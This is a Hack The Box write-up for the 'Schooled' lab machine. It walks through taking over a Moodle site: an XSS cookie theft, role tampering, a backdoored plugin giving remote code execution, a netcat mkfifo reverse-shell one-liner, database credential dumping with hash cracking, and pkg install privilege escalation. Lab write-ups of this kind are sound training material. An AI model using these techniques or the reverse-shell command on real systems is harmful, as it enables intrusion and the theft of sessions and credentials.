Schooled - Hack The Box
The Schooled HackTheBox machine is a Medium FreeBSD system with a Moodle web content manager, very real-life applicable as many school and university systems are configured the same way as this one. From a simple school webpage, you go through student, teacher and manager accounts to finally root the system.
Nmap
Ports 22, 80 and 33060 are open.
In the port 22, there is OpenSSH running, and int he 80, a http Apache web server. The 33060 port is about mysql.
Website
If we connect to the website, we can see a simple school page with some information regarding the school.
If we look carefully, we can know from now that they will be using Moodle.
In the bottom we have a hostname, schooled.htb.
Then, we can add this host with sudo nano /etc/hosts.
Fuzzing
We know that the machine may be running Moodle, but to discover this with brute-force, we can use gobuster to fuzz vhosts of the main host. We will be using the subdomains-top1million-110000.txt wordlist of SecLists, and the parameter vhost in Gobuster.
The discovered host is moodle.schooled.htb, so we add it to our host list again with sudo nano /etc/hosts so we can connect to it.
Moodle enumeration
When we access the Moodle, we can only see four subjects, and a Log in button.
If we click in the log-in button, we will see a register button.
While we are registering we will notice that our email is not valid, but we are provided with the allowed one (student.schooled.htb).
Logged in the moodle, it is possible now to enroll to the Mathematics course.
In the announcements pannel of the Maths course, there is a message of the teacher, Manuel Phillips. He says that he will be checking the profiles of the users that enroll its course.
We now can only search for vulnerabilities in the Moodle, so we first need to know the version that is running. Moodle saves that information in the /moodle/lib/upgrade.txt file that we can read. The version is Moodle 3.9.
XSS in moodlenetprofile field
Searching for exploits for that version, and with the information we had, I found that the moodlenetprofile field of the user was vulnerable to Cross Site Scripting (XSS).
As the teacher checks your profile when you join his course, we can set a listener in our machine with python3 -m http.server 4000 or nc -nvlp 4000, and write a simple script that retrieves the cookie when executed, and sends it to us.
If we modify the profile, add the script in that field, join the course again, and wait a few minutes, we will receive the Moodle Session of the teacher.
We can now proceed to impersonate his session replacing our cookie with his cookie.
From teacher to manager
We now have a teacher account, so another Moodle exploit is very useful. With this one, a teacher will be able to assign himself the manager role.
It is possible to enroll users in the Math course.
In the main website, in the about page it says that Lianne Carter is manager.
We will use her to get the manager role, enrolling her to the course, intercepting the request and modifying the parameters.
The original request is the following one.
Here, we can change the id of the user that is being enrolled, from 25 (Lianne) to 24 (Manuel Phillips) anb the role to assign from 4 (student) to (1) manager.
Then, as we are now a manager, we can go to the profile of the real manager, Lianne, and click the “Log in as” button to enter in her account.
We are now Lianne Carter in the Moodle, a user with manager privileges.
Reverse shell
As a manager, we can modify the manager role to be able to install plugins. In the site administration page, we can click in manage roles, and then in the edit button of manager.
We will start our proxy to intercept the “save changes” request, to modify the payload with burpsuite.
The payload is the original one, modifying all the permissions.
With this done, it is now possible to install plugins in the site administration page.
The structure of the poisoned plugin is the following one. The PHP file will gives us a RCE backdoor. The plugin can be downloaded here.
The validation of the plugin is successful as it keeps the original structure of a real plugin.
To run commands, we can navigate to the block_rce.php file, and add as a paremet the command to execute with ?cmd=(command).
To obtain a shell in the system, we can handle the request, and insert a URL encoded bash reverse shell command, rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc (Our IP) (Our listening port) >/tmp/f, and listen in the used port with nc -nvlp (Port).
Lateral movement
With a shell as the www user, we can read the Moodle configuration file to get the credentials of its database.
The credentials are moodle:PlaybookMaster2020, and there is an available moodle database.
Using this credentials and enumerating the database, we can dump the usernames and passwords with the SQL query use moodle; select username, password, email from mdl_user.
We can see there an admin hash, which email is jamie@staff.schooled.htb, so we know that the user may be jamie.
The hashid tool told us that the hash is most likely a bcrypt Blowfish hash.
We can now crack it with john, specifying the bcrypt format and the rockyou wordlist. It can also be done with hashcat.
The credentials are jamie:!QAZ2wsx.
With these credentials, we can connect to the user jamie using SSH, and get a better shell, and a more privileged user in the system.
Privilege escalation
From here, we can see that the user jamie can run as root the command pkg install, what means that he can install packages in the system as an administrator.
The faster way to exploit a binary, is to search it in GTFObins. There, it says that a malicious file can be created to escatale privileges.
We need to create the package in our machine as we don’t have fmp available in the victim, but there is no problem with that, as we can still send it with netcat and install it as elevated user.
When we install the package, we can execute bash -p to get the bash, and we will get the root bash as we modified it with our package.
We can now get the root flag, and finish the machine.
